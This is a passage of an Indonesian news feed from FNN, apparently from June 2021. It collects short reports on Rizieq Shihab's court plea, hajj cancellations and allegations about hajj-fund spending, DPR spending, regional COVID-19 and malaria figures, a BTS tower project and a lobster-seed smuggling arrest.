tertular COVID-19," ujar Rahma. (mth)

HRS Bandingkan Tuntutan Dirinya dengan Djoko Tjandra

Jakarta, FNN - Terdakwa Habib Rizieq Shihab membandingkan tuntutan dari Jaksa Penuntut Umum (JPU) dalam kasus tes usap RS UMMI Bogor dengan perkara korupsi yang dilakukan Djoko Tjandra. Dalam sidang lanjutan dengan agenda pledoi, Rizieq Shihab mengatakan tuntutan enam tahun penjara atas kasus tes usap RS UMMI Bogor lebih tinggi dibandingkan tuntutan kasus korupsi Djoko Tjandra yang hanya empat tahun penjara. "Djoko Tjandra dan jaksa Pinangki masing-masing dituntut empat tahun penjara. Sedangkan Irjen Napoleon lebih ringan hanya tiga tahun, dan Brigjen Prasetyo dua setengah tahun," kata Rizieq Shihab saat membacakan pledoi di Pengadilan Negeri Jakarta Timur, Kamis. Rizieq Shihab juga menyebutkan dalam pledoinya bahwa berdasarkan data Indonesian Corruption Watch (ICW) pada April 2020, sepanjang 2019 dari 911 terdakwa korupsi, 604 di antaranya dituntut dibawah empat tahun penjara. Menurut Rizieq Shihab, kasus korupsi yang dilakukan oleh Djoko Tjandra lebih berat daripada kasus pelanggaran protokol kesehatan yang dilakukannya dalam tes usap RS UMMI Bogor. Sebelumnya Rizieq Shihab dituntut oleh Jaksa Penuntut Umum (JPU) berupa pidana enam tahun penjara atas kasus tes usap RS UMMI Bogor. JPU menyatakan Rizieq Shihab bersalah melanggar pasal 14 ayat 1 UU Nomor 1 tahun tentang 1946 Peraturan Hukum Pidana. Rizieq dianggap melakukan tindak pidana pemberitahuan bohong karena menyatakan kondisinya sehat meski terkonfirmasi COVID-19 saat dirawat di RS UMMI Bogor pada November 2020. (sws)

Wabup Sangihe Meninggal Dunia di Pesawat

Sangihe, FNN - Wakil Bupati Kepulauan Sangihe Sulawesi Utara, Helmud Hontong tutup usia, Rabu, saat berada di pesawat dalam penerbangan Denpasar-Ujungpandang. Pejabat Bagian Protokol dan Komunikasi Pimpinan Kabupaten Sangihe, Maya Budiman mengatakan, informasi yang diperoleh bahwa Helmud Hontong menumpang pesawat dengan nomor penerbangan JT.740 menempati Seat: 25E ditemani Harmen Kontu selaku ajudan yang duduk di seat: 25F. "Pukul 16.17 saat di bandara Hasanudin Makassar, dokter dan perawat segera naik ke pesawat untuk mengecek kondisi Bapak Helmud yang sudah tidak sadarkan diri," kata dia. Setelah dokter melakukan pemeriksaan, Dokter menyatakan pak Helmud Hontong telah meninggal dunia. "Jenazah saat ini sementara berada di tempat pemulasaran jenazah CV Daya Mitra Husada dipersiapkan untuk diterbangkan ke Manado terus ke Tahuna pada hari Kamis 10 Juni," katanya. (sws)

Dugaan Korupsi Dana Haji, KPK Harus Panggil dan Periksa Yaqut Cholil Qoumas dan Anggito Abimanyu

Jakarta, FNN - Menteri Agama Yaqut Cholil Qoumas yang biasa gagah saat bicara isu radikal begitu menyedihkan saat urus ibadah haji. Sebelumnya mantan menteri agama Fachrul Razi juga membatalkan pelaksanaan ibadah haji 2019, alasan keduanya sama, karena pandemi Covid-19, demi keselamatan jamaah. Alasan ini seperti hadits shoheh yang tidak bisa dibantah, lebih tepatnya jurus ampuh menutupi ketidakmampuan . Lebih menggemaskan lagi selain alasan pandemi, Kementerian Agama melalui Badan Pengelola Keuangan Haji (BPKH) selalu sesumbar soal harga sebenarnya dana haji Rp 69 juta, sedangkan yang dibayar calon haji hanya sekitar Rp 35,2 juta, kekurangan biaya disubsidi Rp 33 juta-an perjemaahnya. Padahal publik juga sudah tahu subsidi ini pakai dana abadi umat yang uangnya bersumber dari calon haji juga. Center for Budget Analysis (Lembaga CBA) menilai persoalan gagalnya haji tahun 2020 dan 2021 sebagai puncak dari bobroknya pengelolaan dana haji oleh BPKH. Mulai dari masalah transparansi, pemborosan anggaran karena program dan kegiatan yang dilaksanakan oleh pegawai BPKH tidak sesuai aturan, bahkan dugaan korupsi. Berikut penjelasan CBA terkait persoalan pengelolaan dana haji oleh BPKH: Pertama, belanja operasional BPKH tahun 2020 yang terdiri dari belanja pegawai dan operasional kantor mengalami lonjakan drastis, kenaikannya sebesar Rp123.919.578.764. Sebelumnya tahun 2019 belanja operasional menghabiskan anggaran Rp167.484.445.020 dan tahun 2020 anggaran yang dihabiskan naik menjadi Rp291.404.023.784. Belanja pegawai dan belanja operasional kantor naik drastis hal ini cukup janggal mengingat dalam dua tahu ini tidak ada jamaah haji yang diberangkatkan. Kedua, dalam pengelolaan belanja pegawai banyak ditemukan dugaan penyimpangan. Contohnya Iuran BPJS Kesehatan dan Ketenagakerjaan bagi pegawai BPKH yang seharusnya diambil dari BPKH dan pegawai pada praktinya seluruh biaya diambil dari kas BPKH. Ini sama saja pihak BPKH seenaknya memakai duit jamaah yang diamanahkan dan melanggar aturan perundang-undangan soal pembayaran iuran BPJS kesehatan dan Ketenagakerjaan. Potensi penyelewengan dalam satu kasus ini sebesar Rp1.048.663.490. Terakhir dalam pengelolaan belanja operasional kantor juga ditemukan banyak penyimpangan, contohnya pada Oktober tahun 2019 pihak BPKH menjalankan pelatihan manajemen perhajian di Makkah dan Madinah. Faktanya, kegiatan ini tidak lain plesiran atau jalan-jalan karena tidak ada topik dan materi pelatihan, jadwal pelatihan, dukumentasi pelaksanaan kegiatan persesi pelatihan, apalagi narasumber pelatihan. Hal ini semakin diperjelas dengan pelaksana kegiatan oleh PT AG yang bergerak di jasa perjalanan. Koordinator CBA Jajang Nurjaman, mengatakan, akibatnya potensi dana umat yang disalahgunakan BPKH terkait dana operasional kantor sebesar Rp 493.897.861. modus temuan, pemborosan pembayaran uang harian Rp 351.929.200, biaya penginapan Rp 141.968.661, markup karena biaya tidak sesuai . "Berdasarkan temuan di atas, Lembaga CBA meminta presiden Joko Widodo untuk segera mengevaluasi kinerja Menteri Yaqut Cholil Qoumas serta Anggito Abimanyu," tegas Jajang Nurjaman. Terakhir Komisi Pemberantasan Korupsi juga harus menindaklanjuti dugaan penyelewengan anggaran dana haji (Biaya BPJS Kesehatan dan Ketenagakerjaan pegawai BPKH, serta program pelatihan manajemen perhajian di Makkah dan Madinah. (mth)

Kemenag: 59 Orang Ajukan Pengembalian Setoran Pelunasan Haji

Jakarta, FNN - Kementerian Agama mencatat sebanyak 59 orang mengajukan pengembalian setoran pelunasan setelah pemerintah memutuskan membatalkan keberangkatan jamaah Indonesia pada penyelenggaraan haji 1442 Hijria/2021 Masehi. "Sepekan pembatalan keberangkatan, ada 59 orang calon haji reguler yang mengajukan pengembalian setoran pelunasan," kata Sekretaris Ditjen Penyelenggaraan Haji dan Umrah Kemenag Ramadan Harisman dalam keterangan tertulis yang diterima di Jakarta, Kamis. Jumlah tersebut, ia mengemukakan, terdiri atas 25 orang calon haji khusus dan 34 orang calon haji reguler. "Jamaah calon haji yang telah mengajukan pengembalian pelunasan ini langsung kami proses untuk diajukan ke Badan Pengelola Keuangan Haji (BPKH) agar bisa ditindaklanjuti sesuai alur yang sudah ditetapkan," katanya. Secara ketentuan, lanjut dia, proses pengembalian itu berlangsung kurang lebih sembilan hari sampai dana jamaah ditransfer ke rekening masing-masing. Ramadan menambahkan, Sistem Informasi dan Komputer Haji Terpadu (Siskohat) Kemenag mencatat bahwa ada 15.476 orang calon haji khusus dan 198.371 orang calon haji reguler yang telah melakukan pelunasan. Keputusan Menteri Agama No 660 tahun 2021 tentang Pembatalan Keberangkatan Jemaah Haji Pada Penyelenggaraan Ibadah Haji Tahun 1441 H /2020 M memberikan pilihan kepada jamaah calon haji untuk mengambil kembali setoran pelunasannya. Jamaah calon haji reguler dapat mengajukan permohonan pengembalian setoran pelunasan Bipih (Biaya Perjalanan Ibadah Haji) secara tertulis kepada Kepala Kankemenag Kab/Kota) tempat mereka mendaftar. "Untuk haji khusus, mereka mengajukan permohonan pengembaliannya ke Penyelenggara Ibadah Haji Khusus (PIHK) tempat mendaftar," jelasnya. Untuk tahun 2020, disampaikan, ada 1.688 orang calon haji reguler dan 438 khusus yang mengajukan pengembalian setoran lunas. Sebelumnya, Pemerintah melalui Kementerian Agama kembali memutuskan tidak memberangkatkan calon jamaah haji pada musim haji 2021 Masehi/1442 Hijriah. "Karena masih pandemi dan demi keselamatan jamaah, pemerintah memutuskan bahwa tahun ini tidak memberangkatkan kembali jamaah haji Indonesia," ujar Menag Yaqut Cholil Qoumas dalam konferensi pers di Kantor Kemenag, Jakarta, Kamis (3/6). Pembatalan pemberangkatan jamaah haji itu berdasarkan Keputusan Menteri Agama Nomor 660/2021. Keputusan tersebut juga diambil setelah dilakukan koordinasi dengan berbagai pihak seperti DPR RI, kementerian/lembaga, organisasi keagamaan, asosiasi travel, dan sejumlah unsur lainnya. Alasan tidak memberangkatkan haji karena pihak Arab Saudi hingga saat ini tak kunjung membuka akses haji bagi jamaah luar negeri termasuk Indonesia. Akibatnya pemerintah tidak punya cukup waktu untuk menyiapkan pelayanan dan perlindungan bagi jamaah. Di sisi lain, alasan keamanan dan keselamatan karena pandemi COVID-19 menjadi salah satu keputusan menunda pemberangkatan haji. (mth)

Pengamat: Duet Prabowo-Puan Paling Mungkin Diwujudkan pada Pilpres 2024

Jakarta, FNN - Pengamat Politik Igor Dirgantara menyatakan, duet Prabowo Subianto-Puan Maharani dinilai paling mungkin diwujudkan jika Partai Gerindra berkoalisi dengan Partai Demokrasi Indonesia (PDI) Perjuangan pada Pilpres 2024. "Prabowo-Puan. Pasangan ini paling mungkin diwujudkan dan dinilai cocok karena faktor usia (tua-muda), jenis kelamin (pria-wanita), serta latar belakang militer-sipil," kata Igor, yang juga sebagai Direktur Lembaga Survei dan Polling Indonesia (SPIN), dalam keterangan tertulisnya, di Jakarta, Kamis. Namun, lanjut dia, dari duet tersebut belum bisa diprediksi mengenai siapa yang menjadi calon presiden (capres) maupun calon wakil presiden (cawapres). Karena masing-masing punya kelebihan tersendiri untuk ditempatkan sebagai capres. "Salah satu kendala dari pasangan ini adalah pandangan bahwa PDIP sebagai parpol pemenang pemilu dengan 128 kursi di parlemen, apa mau memposisikan kandidatnya di posisi RI-2? Jawabannya tentu bisa mengingat elektabilitas Prabowo yang jauh lebih tinggi, begitu juga dengan pengalamannya," ujarnya. Menurut dia, bisa saja nanti dilakukan redefinisi ulang Perjanjian Batu Tulis. Dia menjelaskan jika Batu Tulis 2009 (jilid I) ada klausul bahwa Prabowo sebagai cawapres Megawati akan didukung oleh PDIP maju sebagai Capres 2014. Namun, hal itu akhirnya batal karena akhirnya PDIP mencalonkan Joko Widodo. "Maka kebalikannya, Batu Tulis 2024 (jilid II) juga bisa dibuat klausul bahwa jika Puan Maharani menjadi cawapres Prabowo di 2024, maka Gerindra gantian mendukung pencalonan Puan Maharani sebagai capres pada tahun 2029 berikutnya," tuturnya. Sekretaris Jenderal Aliansi Mahasiswa dan Milenial Indonesia (AMMI), Arip Nurahman mengatakan, jika nantinya Prabowo jadi capres, maka Puan adalah pasangan duet yang ideal karena memiliki berbagai pengalaman di tingkat nasional. "Jika Pak Prabowo disiapkan jadi Capres maka Mbak Puan adalah pasangan yang pas untuk mendampingi sebagai Cawapresnya, usia Mbak Puan relatif muda namun sarat dengan pengalaman," tutur Arip. Puan dinilai punya pengalaman keberhasilan sebagai Menko PMK (Menteri Koordinator Pembangunan Manusia dan Kebudayaan) dan saat ini menjabat Ketua DPR RI. "Jadi, walaupun berusia relatif muda namun sarat pengalaman eksekutif maupun legislatif," lanjut Arip. Ia pun menambahkan, tidak banyak tokoh nasional yang memiliki pengalaman lengkap di level nasional seperti Puan Maharani. "Apalagi menjadi Ketua DPR RI, harus memiliki kemampuan dan seni memimpin yang tinggi dan kami melihat Mbak Puan selalu terasa kehadirannya setiap saat sebagai pimpinan DPR RI," ucapnya. (mth)

DPR RI Pesta-Pora Semasa Pandemi Lewat Proyek Lift Rp55,8 Miliar

Jakarta, FNN - Saat masyarakat sengsara karena pandemi Covid-19, pejabat Senayan (DPR RI) malah pesta pora lewat permintaan pelat nomor khusus bagi seluruh pimpinan dan anggota DPR RI sampai minta lift baru di gedung Nusantara 1 yang menghabiskan duit negara Rp55,8 miliar. Center for Budget Analysis (Lembaga CBA) sangat menyayangkan DPR RI yang kelewat egois, tidak menunjukan sedikitpun rasa empati terhadap kesulitan masyarakat. Puan Maharani sebagai pimpinan, Muhaimin Iskandar sebagai wakil koordinator kesejahteraan rakyat sama sekali tidak memberikan kontribusi saat pandemi bahkan untuk sekedar empati saja mereka seperti ogah. Menurut Koordinator CBA Jajang Nurjaman, proyek lift baru gedung Nusantara 1 contohnya, diajukan dan dijalankan saat kondisi pandemi. Tidak tanggung-tanggung anggaran yang dihabiskan mulai dari biaya konsultasi serta konstruksi sampai Rp55.816.525.000. Proyek lift baru adalah pemborosan nyata di tengah pandemi. Jika uang ini digunakan untuk paket sembako, setidaknya bisa mengurangi beban orang miskin dengan 186 ribu paket sembako. Daripada digunakan untuk lift baru yang hanya dinikmati 575 pejabat Senayan. Lembaga CBA juga menilai proyek lift baru sangat janggal, terkesan dipaksakan. Hal ini bisa dilihat dari penetapan pagu dan harga perkiraan sendiri yang asal ketik (angkanya sama) Rp 55,4 miliar. Akibatnya saat lelang nilai proyek jadi mahal dan boros. "Selanjutnya nilai proyek yang disepakati Sekjen DPR RI dan pemenang tender PT Angkasa Pura Solusi (PT APS) sebesar Rp54,3 m juga mencurigakan. Jika dibandingkan tawaran terendah ada selisih sebesar Rp 8,7 miliar," ujar Jajang Nurjaman. Lembaga CBA meminta kepada presiden Joko Widodo agar turun tangan menegur Puan Maharani, Muhaimin Iskandar dan CS, agar tidak bikin ulah. Kebijakan pelat nomor khsusus daripada buat DPR lebih baik diperuntukkan bagi tenaga kesehatan. Begitupun proyek lift, sebaiknya dibatalkan, lebih baik buat paket sembako bagi rakyat miskin yang jumlahnya terus meningkat sekarang diangka 27,55 juta orang. (mth)

DPRD Kota Bogor Tunggu Gubernur Evaluasi Raperda SKBWM

Bogor, FNN - DPRD Kota Bogor menunggu persetujuan atas evaluasi oleh Gubernur Jawa Barat pada Rancangan Peraturan Daerah tentang Santunan Kematian Bagi Warga Miskin (Raperda SKBWM) untuk segera disetujui menjadi Peraturan Daerah Kota Bogor. Ketua Pansus Raperda SKBWM DPRD Kota Bogor Anna Mariam Fadhilah, di Kota Bogor, Rabu, mengatakan Raperda SKBWM tersebut sudah dibahas oleh pansus bersama Pemerintah Kota Bogor dan sudah mencapai kesepakatan. Menurut Anna Mariam, beberapa klausul yang diatur dalam Raperda SKBWM tersebut, antara lain santunan kematian diberikan kepada masyarakat miskin yang terdaftar di dalam data tetap kesejahteraan sosial (DTKS) maupun non-DTKS yang tercatat pada Dinas Sosial Kota Bogor. "Data warga miskin itu, sesuai dengan kriteria miskin yang ditetapkan oleh Wali Kota Bogor," katanya pula. DPRD dan Pemerintah Kota Bogor, kata dia, menyepakati dalam Raperda SKBWM tersebut mengatur bahwa warga miskin mendapatkan uang duka dan uang pemulasaraan jenazah masing-masing Rp1 juta, sehingga totalnya menjadi Rp2 juta. Politisi Partai Keadilan Sejahtera (PKS) itu menyatakan, pembahasan Raperda SKBWM antara DPRD dan Pemerintah Kota Bogor sudah mencapai kesepakatan. Prosedur berikutnya, kata dia, meminta persetujuan atas evaluasi dari Gubernur Jawa Barat, baru kemudian bisa disahkan sebagai Perda Kota Bogor. "Kami harapkan proses evaluasi dari Gubernur Jawa Barat tidak terlalu lama, sehingga Raperda SKBWM ini bisa segera disetujui menjadi perda," katanya pula. (sws)

Pemprov Bengkulu Dorong Ketahanan Pangan di Tengah Pandemi

Bengkulu, FNN - Gubernur Bengkulu Rohidin Mersyah menyampaikan komitmen pemerintah provinsi setempat untuk menguatkan ketahanan pangan dan meningkatkan kesejahteraan petani ditengah situasi pandemi COVID-19 yang telah memberikan dampak buruk terhadap ekonomi. Menurut Rohidin, dalam situasi pandemi seperti saat ini, upaya memperkuat ketahanan pangan sama pentingnya dengan memperkuat sektor kesehatan. "Pemerintah terus berupaya memperkuat sektor pangan melalui program pertanian. Tentu tujuan kita adalah kesejahteraan petani dan ketahanan pangan, karena dalam kondisi pandemi seperti saat ini ketahanan pangan sama pentingnya dengan kesehatan," kata Rohidin di Bengkulu, Kamis. Upaya yang dilakukan yakni dengan memperkuat program pertanian melalui penyaluran bantuan benih, pupuk, alat mesin pertanian dan infrastruktur lainnya serta kegiatan pemberdayaan petani bagi petani penerima manfaat di Kabupaten Kepahiang, Bengkulu. Adapun bantuan yang disalurkan berupa bantuan benih padi Inbrida untuk lahan seluas 1500 hektare, bantuan benih padi khusus untuk lahan seluas 100 hektare, bantuan benih jagung hibrida untuk lahan seluas 750 hektare. Bantuan lainnya yaitu power thresher yang merupakan mesin untuk merontokkan padi menjadi gabah sebanyak 15 unit, rice milling atau mesin untuk mengupas gabah menjadi beras sebanyak satu unit. Kemudian, Pemprov Bengkulu juga melakukan rehabilitasi terhadap 10 jaringan irigasi tersier, menyalurkan 500 ton pupuk bersubsidi, 250 ton SP36, 135 ton ZA, 910 ton NPK dan 210 ton pupuk organik. Pemprov Bengkulu juga memfasilitasi pencetakan kartu tani bagi 5,584 petani penerima manfaat dan menyediakan mesin Electronic Data Capture (EDC) yang merupakan alat penerima pembayaran yang dapat menghubungkan antar rekening bank. "Untuk alsintan dan bantuan benih sudah di droping ke kelompok tani. Kita juga bangun satu embung di Kepahiang," ucapnya. Berdasarkan data angka tetap 2020, produksi padi Kabupaten Kepahiang mencapai 16,446 ton gabah kering gilir (GKG). Angka ini turun dari tahun 2019 yang mencapai 19,856 ton dan panen seluas 3.479 hektare. Bupati Kepahiang Hidayatullah Sjahid mengklaim produksi beras di daerahnya mampu menghasilkan 47,4 kuintal per hektare. Menurutnya angka tersebut lebih besar dibandingkan rata-rata produktivitas beras Provinsi Bengkulu yang hanya sebesar 45,54 kuintal per hektare. "Lahan persawahan di Kepahiang sekitar 4.938 hektare dengan irigasi semi teknis. Produktivitasnya sudah di atas rata-rata provinsi, tetapi kita terus berupaya agar peningkatan produksi," demikian Hidayatullah. (sws)

Kemenag: 1.636 Warga Bengkulu Batal Beribadah Haji

Bengkulu, FNN - Kementerian Agama (Kemenag) Provinsi Bengkulu menyebutkan bahwa sebanyak 1.636 jamaah calon haji dari daerah itu batal berangkat ke Tanah Suci akibat kebijakan pemerintah yang menerbitkan Peraturan Menteri Agama Nomor 660 tahun 2021 tentang Pembatalan Pemberangkatan Calon Jamaah Haji. "Ada 1.636 calon jamaah haji Provinsi Bengkulu yang kembali batal berangkat tahun 2021 ini," kata Kepala Kemenag Bengkulu Zahdi Taher, Kamis, di Bengkulu. Ia mengatakan bahwa pembatalan tersebut karena mempertimbangkan pandemi COVID-19 dan kewajiban pemerintah yaitu menjaga keselamatan, keamanan dan kesehatan warganya. Karena itu, pembatalan keberangkatan jamaah haji dilakukan,jika jamaah haji tetap diberangkatkan maka akan berisiko tinggi. Ia menambahkan terkait dana haji saat ini tersimpan baik di Badan Pengelola Keuangan Haji (BPKH) maka calon haji dipersilakan untuk menarik dana hajinya secara penuh atau hanya sebagian. "Jika seluruhnya ditarik makacalon haji tersebut melakukan pembatalan dan jika hanya menarik sekitar Rp8-10 juta dipersilakan namun jika tahun depan berangkat maka harus segera melakukan pembayaran lagi," katanya. Untuk pengembalian dana jamaah calon haji, kata dia, caranya dengan mengusulkan pengembalian menggunakan materai ke Kemenag masing-masing, kemudian Kemenag mengusulkan ke BPKH pusat dan akan langsung ditransfer ke rekening masing-masing jamaah. Ia menegaskan bahwa pembatalan keberangkatan jamaah haji disebabkan karena pandemi COVID-19 dan berita tentang Indonesia memiliki hutang kepada Arab Saudi dan sebagainya itu tidak benar. Oleh karena itu, kata Zahdi Taher, pihaknya terus melakukan sosialisasi kepada masyarakat terkait pembatalan calon jemaah haji dan ia berharap semoga 2022 jamaah haji bisa berangkat. Kepala Biro Pemerintahan dan Kesejahteraan Rakyat Sekretariat Daerah Provinsi Bengkulu Edie Hartawan mengatakan bahwa pihaknya akan segera melakukan sosialisasi pembatalan jamaah haji ke kabupaten/kota yang ada di Provinsi Bengkulu. "Kami akan teruskan hasil ini ke pemerintah kabupaten dan kota sehingga masyarakat mendapatkan informasi jelas tentang pembatalan jamaah haji ini," katanya. (sws)

Satgas: Warga Tanjungpinang Meninggal Akibat COVID-19 Naik 300 Persen

Tanjungpinang, FNN - Satuan Tugas (Satgas) Penanganan COVID-19 Kota Tanjungpinang, Provinsi Kepulauan Riau (Kepri) menyatakan jumlah warga yang meninggal dunia karena terjangkit COVID-19 di kota itu meningkat lebih dari 300 persen pada Januari-Juni 2021 dibanding tahun 2020. Ketua Harian Satgas Penanganan COVID-19 Tanjungpinang, Teguh Ahmad Syafari, di Tanjungpinang, Kamis mengatakan, jumlah warga yang meninggal dunia akibat COVID-19 pada Maret-Desember 2020 sebanyak 22 orang, sementara untuk Januari-Juni 2021 bertambah, yakni mencapai 70 orang. "Rata-rata yang meninggal dunia akibat COVID-19 itu memiliki penyakit penyerta," katanya. Ia menjelaskan jumlah warga yang meninggal dunia pada Rabu (9/6) sebanyak dua orang, sehingga total jumlahnya sejak pandemi COVID-19 hingga sekarang mencapai 92 persen. Sementara jumlah warga yang terkonfirmasi positif COVID-19 bertambah 34 orang, terdiri atas 19 orang bergejala dan 15 orang tanpa gejala. Total jumlah pasien COVID-19 yang bergejala sejak pandemi mencapai 2.158 orang, sementara yang tidak bergejala 1.496 orang. "Total jumlah pasien COVID-19 di Tanjungpinang sejak pandemi sampai sekarang 3.654 orang," kata Teguh Ahmad Syafari, yang juga Sekda Kota Tanjungpinang. Ia menjelaskan dari 34 orang kasus baru positif COVID-19 di Tanjungpinang, terdiri atas kasus perjalanan impor satu orang, kontak erat 23 orang, dan yang tidak memilliki riwayat perjalanan ke luar daerah dan kontak erat 10 orang. Total jumlah pasien yang tertular COVID-19 setelah perjalanan ke luar daerah 342 orang, kontak erat mencapai 2.241 orang, dan yang tidak memiliki kontak erat dan tidak pernah melakukan perjalanan ke luar daerah 1.071 orang. "Jumlah pasien yang sudah sembuh dari COVID-19 bertambah 45 orang sehingga total jumlahnya menjadi 3.157 orang," demikian Teguh Ahmad Syafari. (sws)

Pandeglang Bertekad Hilangkan Endemis Malaria

Pandeglang, FNN - Pemerintah Kabupaten Pandeglang, Banten bertekad menghilangkan endemis malaria, dan berupaya agar seluruh desa/kecamatan di wilayah itu terbebas dari penyebaran penyakit yang disebabkan oleh gigitan nyamuk anopheles betina itu. Kepala Seksi Pencegahan Pengendalian Penyakit Menular (P3M) Dinas Kesehatan Pandeglang dr Kartirini pada acara advokasi eliminasi malaria di Pandeglang, Rabu, menjelaskan penyakit malaria masih merupakan masalah kesehatan yang menimbulkan kesakitan dan kematian terutama pada kelompok risiko tinggi yaitu bayi, balita dan ibu hamil. "Malaria secara langsung menyebabkan anemia dan dapat menurunkan produktivitas kerja sehingga perlu dilakukan penanggulangan melalui upaya pencegahan, pengendalian, pemberantasan yang efektif dan efisien," katanya. Ia menjelaskan, di Kabupaten Pandeglang masih ada wilayah yang menjadi endemis malaria, yakni Desa Tamannjaya dan Ujungjaya. Dinas Kesehatan Pandeglang terus berupaya melakukan pengendalian dan pencegahan penyebaran penyakit itu dengan mengutamakan aspek promotif, preventif dan kuratif. "Ini bertujuan untuk menurunkan dan menghilangkan angka kesakitan dan kematian akibat penyakit malaria," katanya. Terkait upaya untuk menekan angka kesakitan dan kematian, menurut dia, dilakukan melalui program pemberantasan malaria, dengan kegiatan meliputi diagnosis dini, pengobatan secara cepat dan tepat, serta survailens dan pengendalian vektor dalam hal pendidikan masyarakat. "Pentingnya kesehatan perlu disampaikan kepada masyarakat, semuanya itu untuk memutus mata rantai penularan malaria," ujarnya. Sekda Kabupaten Pandeglang Pery Hasanudin mengatakan untuk pencegahan, pengendalian dan penanggulangan penyakit merupakan tanggung jawab bersama lintas sektor terkait, seperti dinas kesehatan, fasilitas kesehatan primer dan lanjutan baik milik pemerintah ataupun swasta. Dalam rangka pencegahan dan pengendalian penyakit malaria, kata dia, harus dibangun dan dikembangkan koordinasi jejaring kerja serta kemitraan antara instansi pemerintah, dan pemangku kepentingan baik pusat, provinsi maupun kabupaten. "Hal itu dilakukan dengan cara melakukan advokasi, peningkatan komunikasi dan informasi serta edukasi. Sebab, eliminasi malaria adalah suatu upaya untuk menghentikan penularan malaria dalam suatu wilayah geografis tertentu," katanya. (sws)

Kemenkominfo Segera Bangun Tower BTS di Pulau Tunda Serang

Serang, FNN- Kementerian Komunikasi dan Informatika (Kemenkominfo) segera membangun tower Base Transceiver Station atau BTS untuk menuju merdeka dari blank spot (sinyal komunikasi) di Desa Pulau Tunda, Kecamatan Tirtayasa, Kabupaten Serang, Banten. Perwakilan Direktorat Penataan Sumber Daya Direktur Jenderal Sumber Daya dan Perangkat Pos dan Informatika (Ditjen SDPPI) Kemenkominfo RI Hilman Fikrianto, usai rapat persiapan pembangunan tower BTS di Ruang Rapat Pendopo Bupati, Rabu, mengatakan, pembangunan tower BTS merupakan Program Percepatan Transformasi Digital atau PTD yang digagas oleh Presiden Joko Widodo pada 5 Agustus 2020. “Program PTD arahan Pak Jokowi, ditindaklanjuti oleh Pak Menteri Kominfo untuk melakukan merdeka blank spot. Ini dari hasil kajian 12.048 desa dari total 12.518 desa yang dikaji se-Indonesia yang memang blank spot sinyal,” katanya. Dalam rapat bersama Wakil Bupati Serang Pandji Tirtayasa itu, turut hadir Kepala Dinas Komunikasi Informatika Persandian dan Statistik (Diskominfosatik) Anas Dwi Satya Prasadya, perwakilan organisasi perangkat daerah (OPD) terkait, dan perwakilan dari pihak provider Smartfren. Hilman mengungkapkan, ada sebanyak 3.435 desa di antaranya di daerah non 3T, yakni Terdepan, Terpencil, dan Tertinggal, salah satunya Pulau Tunda, Kecamatan Tirtayasa, Kabupaten Serang, Banten. “Ini memang arahan dari Pak Presiden dan akhirnya Kemenkominfo bentuknya adalah membangun akses internet dengan menggunakan jaringan teknologi 4G. Jadi untuk di Provinsi Banten satu-satunya hanya di Pulau Tunda,” kata Hilman. Menurutnya, dipilihnya Pulau Tunda berdasarkan hasil dari kajian pada tahun 2019 lalu yang memang Kementerian Kominfo juga melakukan monitoring secara berkala dan bertahap setiap triwulannya. “Itu salah satunya di tahun 2019 menemukan 12.048 desa yang memang blank spot sinyal 4G, kalau di Banten hanya di Pulau Tunda yang non 3T,” katanya pula. Hilman menambahkan, Kementerian Kominfo menargetkan tahun 2022 mendatang sudah rampung menaikkan desa dari blank spot dengan total 12.048 desa yang terpasang tower BTS. “Sedangkan untuk 3.435 desa dibebankan kepada operator seluler sebagai kewajiban regulasi juga,” katanya lagi. “Pembangunan tower BTS selalu melihat akses komersialnya, dengan adanya penugasan dari Kominfo juga harus mau untuk memberi bantuan dari sisi kebijakan. Semoga nantinya yang akan dibangun operator akan terus ada melayani masyarakat dari sisi informasi,” kata Hilman. Wakil Bupati Serang Pandji Tirtayasa, dalam rapat tersebut berpesan kepada pihak provider Smartfren selain membangun tower BTS, juga berikut dengan fasilitas listrik yakni genset, mengingat Pulau Tunda merupakan daerah tidak adanya akses saluran listrik. “Kalau genset yang ada sekarang untuk kepentingan masyarakat setempat, itu pun kemampuannya sehari hanya 4 jam lebih,” ujarnya lagi. Karena itu, Pandji menyarankan kepada pihak provider Smartfren agar menyiapkan akses saluran listriknya yakni genset tersendiri. “Itu agar tidak putus suplainya,” kata dia. Pada sisi lain, menurutnya, jika dalam pelaksanaannya untuk lahan atau lainnya, agar segera dikoordinasikan dengan organisasi perangkat daerah (OPD) terkait. “Kalau ditemukan kendala di lapangan silakan koordinasi, kalau soal lahan tidak terlalu jadi persoalan pasti disiapkan oleh pihak lurah,” kata Pandji. Kepala Diskominfosatik Kabupaten Serang Anas Dwi Satya Prasadya mengatakan bahwa hari ini dilaksanakan rapat koordinasi terkait dukungan Pemkab Serang dalam pembangunan tower BTS di Pulau Tunda. "Diskominfosatik dan Kabag Pemum Setda Kabupaten Serang akan membantu dalam melakukan koordinasi dengan Camat Tirtayasa dan Kades Margasara dalam hal lahan untuk lokasi pembangunannya, serta melakukan koordinasi terkait hal yang menjadi kendala di lapangan," ujar Anas. "Tentunya Pemkab Serang akan mendukung penuh upaya Kemenkominfo yang bekerja sama dengan provider dalam mendirikan tower BTS yang dapat dimanfaatkan oleh masyarakat dalam mempercepat arus informasi dan komunikasi ke luar pulau," ujar Anas pula. (sws)

Polisi Tangkap Terduga Penyelundup Benur di Tol Tangerang-Merak

Tangerang, FNN - Personel Korps Lalu Lintas Kepolisian RI (Korlantas Polri) telah menangkap terduga pelaku penyeludupan benih lobster (benur) di ruas tol Tangerang-Merak pada Kamis dini hari. Kepala Induk PJR Korlantas Polri, AKP Denny Catur Wardhana, dalam keterangan tertulis yang diterima di Tangerang, mengatakan bahwa sebelum menangkap, polisi sempat terlibat kejar-kejaran dengan pelaku yang mengendarai mobil jenis Xenia warna hitam bernomor polisi A 1214 PM. "Sekitar pukul 03.00 WIB, personil Korlantas Polri sedang patroli rutin, lalu mencoba menghampiri pengendara yang berhenti di bahu jalan, tetapi malah kabur. Kami kemudian mengejarnya," tuturnya. Ia menuturkan, saat petugas Patroli Jalan Raya (PJR) hendak menghampiri sebuah mobil yang berhenti di bahu jalan KM31, kemudian kabur dan terjadi pengejaran hingga berhasil dihentikan di KM34. Saat diperiksa, terdapat 30 ribu ekor bibit lobster (benur). "Saat diperiksa ternyata di dalam mobil itu terdapat 30 ribu ekor bibit lobster dalam kemasan," ujarnya. Ia mengungkapkan upaya penyelundupan bibit lobster itu rencananya akan langsung dilimpahkan ke Polres Tangerang Kabupaten, untuk ditindak lanjuti kasusnya. "Kita akan koordinasi dengan polres kewilayahan (Polres Tangerang Kabupaten) untuk tindak lanjutnya," ungkapnya. Adapun terduga yang membawa mobil berisi puluhan benih benur itu, berinisial AS dan satu 